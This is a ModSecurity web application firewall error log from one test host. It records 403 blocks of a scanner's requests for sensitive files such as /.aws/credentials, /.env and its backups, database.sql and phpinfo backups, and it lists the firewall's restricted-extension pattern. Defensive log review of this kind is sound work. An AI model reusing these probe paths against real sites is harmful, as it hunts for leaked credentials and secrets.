[Mon Jul 28 12:12:35.899710 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x55QAAAAY&quot;]
[Mon Jul 28 12:12:35.899915 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x55QAAAAY&quot;]
[Mon Jul 28 20:45:54.109205 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.bak&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwudygAAAAk&quot;]
[Mon Jul 28 20:45:54.109535 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.bak&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwudygAAAAk&quot;]
[Mon Jul 28 20:45:54.109691 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.bak&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwudygAAAAk&quot;]
[Mon Jul 28 20:45:54.590646 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud3wAAAAk&quot;]
[Mon Jul 28 20:45:54.590868 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud3wAAAAk&quot;]
[Mon Jul 28 20:45:54.591041 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud3wAAAAk&quot;]
[Mon Jul 28 20:45:54.658984 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.bak&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud4gAAAAk&quot;]
[Mon Jul 28 20:45:54.659393 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.bak&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud4gAAAAk&quot;]
[Mon Jul 28 20:45:54.659624 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.bak&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud4gAAAAk&quot;]
[Mon Jul 28 20:45:54.741788 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud5QAAAAk&quot;]
[Mon Jul 28 20:45:54.741971 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud5QAAAAk&quot;]
[Mon Jul 28 20:45:54.742230 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud5QAAAAk&quot;]
[Mon Jul 28 20:45:54.742435 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud5QAAAAk&quot;]
[Mon Jul 28 20:45:54.764403 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud5gAAAAk&quot;]
[Mon Jul 28 20:45:54.764657 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud5gAAAAk&quot;]
[Mon Jul 28 20:45:54.764830 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud5gAAAAk&quot;]
[Mon Jul 28 20:45:54.786796 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud5wAAAAk&quot;]
[Mon Jul 28 20:45:54.786950 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud5wAAAAk&quot;]
[Mon Jul 28 20:45:54.787177 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud5wAAAAk&quot;]
[Mon Jul 28 20:45:54.787375 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud5wAAAAk&quot;]
[Mon Jul 28 20:45:54.809392 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud6AAAAAk&quot;]
[Mon Jul 28 20:45:54.809625 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud6AAAAAk&quot;]
[Mon Jul 28 20:45:54.809802 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud6AAAAAk&quot;]
[Mon Jul 28 20:45:54.831855 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud6QAAAAk&quot;]
[Mon Jul 28 20:45:54.831999 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud6QAAAAk&quot;]
[Mon Jul 28 20:45:54.832249 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud6QAAAAk&quot;]
[Mon Jul 28 20:45:54.832425 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud6QAAAAk&quot;]
[Mon Jul 28 20:45:54.854502 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.www&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.www&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud6gAAAAk&quot;]
